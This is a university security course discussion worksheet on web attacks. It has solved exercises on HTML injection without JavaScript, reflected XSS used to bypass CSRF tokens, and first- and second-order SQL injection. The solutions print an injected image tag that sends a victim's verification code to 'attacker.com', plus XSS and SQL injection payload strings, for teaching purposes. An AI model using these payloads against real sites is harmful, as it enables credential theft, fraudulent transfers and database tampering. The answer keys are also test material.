Nicholas & Peyrin
Summer 2021

CS 161
Computer Security

Discussion 8

Web Security II

Question 1 ***Cross-site not scripting*** ()

Consider a simple web messaging service. You receive messages from other users. The page shows all messages sent to you. Its HTML looks like this:

```
Mallory: Do you have time for a conference call?
Steam: Your account verification code is 86423
Mallory: Where are you? This is <b>important!!!</b>
Steam: Thank you for your purchase
       <img src="https://store.steampowered.com/assets/thankyou.png">
```

The user is off buying video games from Steam, while Mallory is trying to get ahold of them.

Users can include **arbitrary HTML code** messages and it will be concatenated into the page, **unsanitized**. Sounds crazy, doesn't it? However, they have a magical technique that prevents *any* JavaScript code from running. Period.

Discuss what an attacker could do to snoop on another user's messages. What specially crafted messages could Mallory have sent to steal this user's account verification code?

Solution:

```
Mallory: Hi <img src="https://attacker.com/save?message=
Steam: Your account verification code is 86423
Mallory: "> Enjoying your weekend?
```

This makes a request to `attacker.com`, sending the account verification code as part of the URL.

Take injection attacks seriously, even if modern defenses like Content Security Policy effectively prevent XSS.

Question 2 *CSRF++* ()

Patsy-Bank learned about the CSRF flaw on their site described above. They hired a security consultant who helped them fix it by adding a random CSRF token to the sensitive `/transfer` request. A valid request now looks like:

```
https://patsy-bank.com/transfer?to=bob&amount=10&token=<random>
```

The CSRF token is chosen randomly, separately for each user.

Not one to give up easily, Mallory starts looking at the welcome page. She loads the following URL in her browser:

```
https://patsy-bank.com/welcome?name=<script>alert("Jackpot!");</script>
```

When this page loaded, Mallory saw an alert pop up that says "Jackpot!". She smiles, knowing she can now force other bank customers to send her money.

(a) What kind of attack is the welcome page vulnerable to? Provide the name of the category of attack.

> **Solution:** Reflected XSS

(b) Mallory plans to use this vulnerability to bypass the CSRF token defense. She'll replace the `alert("Jackpot!");` with some carefully chosen JavaScript. What should her JavaScript do?

> **Solution:** Load a payment form, extract the CSRF token, and then submit a transfer request with that CSRF token.
>
> Or: Load a payment form, extract the CSRF token, and send it to Mallory.

(c) `patsy-bank.com` sets `SameSite=strict` for all of its cookies. Does this stop the attack from part (b)? Assume the welcome page does not require a user to be logged in.

> **Solution:** Nope, because the malicious request will be sent from the welcome page of patsy-bank.com which is of the correct origin domain.

(d) Mallory wants to attack Bob, a customer of Patsy-Bank. Name one way that Mallory could try to get Bob to click on a link she constructed.

> **Solution:** Send him an email with this link (making it look like a link to somewhere interesting). Post the link on a forum he visits. Set up a website that Bob will visit, and have the website open that link in an iframe. Send Bob a text message or a message on Facebook with the link.

(There are many possible answers.)

Question 3 ***Second-order linear... err I mean SQL injection*** **()**

Alice likes to use a startup, `NotAmazon`, to do her online shopping. Whenever she adds an item to her cart, a POST request containing the field `item` is made. On receiving such a request, `NotAmazon` executes the following statement:

```
cart_add := fmt.Sprintf("INSERT INTO cart (session, item) " +
                            "VALUES ('%s', '%s')", sessionToken, item)
db.Exec(cart_add)
```

Each item in the cart is stored as a separate row in the `cart` table.

(a) Alice is in desperate need of some toilet paper, but the website blocks her from adding more than 72 rolls to her cart ☹Describe a POST request she can make to cause the `cart_add` statement to add 100 rolls of toilet paper to her cart.

> **Solution:** Note that Alice can see her own cookies so knows what `sessionToken` is. She can perform some basic SQL injection by sending a POST request with the `item` field set to:
>
> `toilet paper'), ($sessionToken, 'toilet paper'), ... ; --`
>
> Where `$sessionToken` is the string value of her `sessionToken` and `($sessionToken, 'toilet paper')` repeats 99 times. A similar attack could also be done by modifying the `sessionToken` itself

When a user visits their cart, `NotAmazon` populates the webpage with links to the items. If a user only has one item in their cart, `NotAmazon` optimizes the query (avoiding joins) by doing the following:

```
cart_query := fmt.Sprintf("SELECT item FROM cart " +
                             "WHERE session='%s' LIMIT 1", sessionToken)
item := db.Query(cart_query)
link_query = fmt.Sprintf("SELECT link FROM items WHERE item='%s'", item)
db.Query(link_query)
```

After part(a), Alice recognizes a great business opportunity and begins reselling all of `NotAmazon`'s toilet paper at inflated prices. In a panic, `NotAmazon` fixes the vulnerability by parameterizing the `cart_add` statement.

(b) Alice claims that parameterizing the `cart_add` statement won't stop her toilet paper trafficking empire. Describe how she can still add 100 rolls of toilet paper to her cart. Assume that `NotAmazon` checks that `sessionToken` is valid before executing any queries involving it.

> **Solution:** Alice can send a malicious POST request like part (a). Even though her input won't change the SQL statement from (a), it will still store her string

in the database. Now, if she visits her cart we'll execute the optimized query. Note that `link_query` doesn't have any injection protections, so her input will maliciously change the SQL statement. The `item` field in her POST request should be something like:

```
toilet paper'; INSERT INTO cart (session, item) VALUES
($sessionToken, 'toilet paper'), ... ; --
```

Moral of the story: Securing external facing APIs/queries is not enough.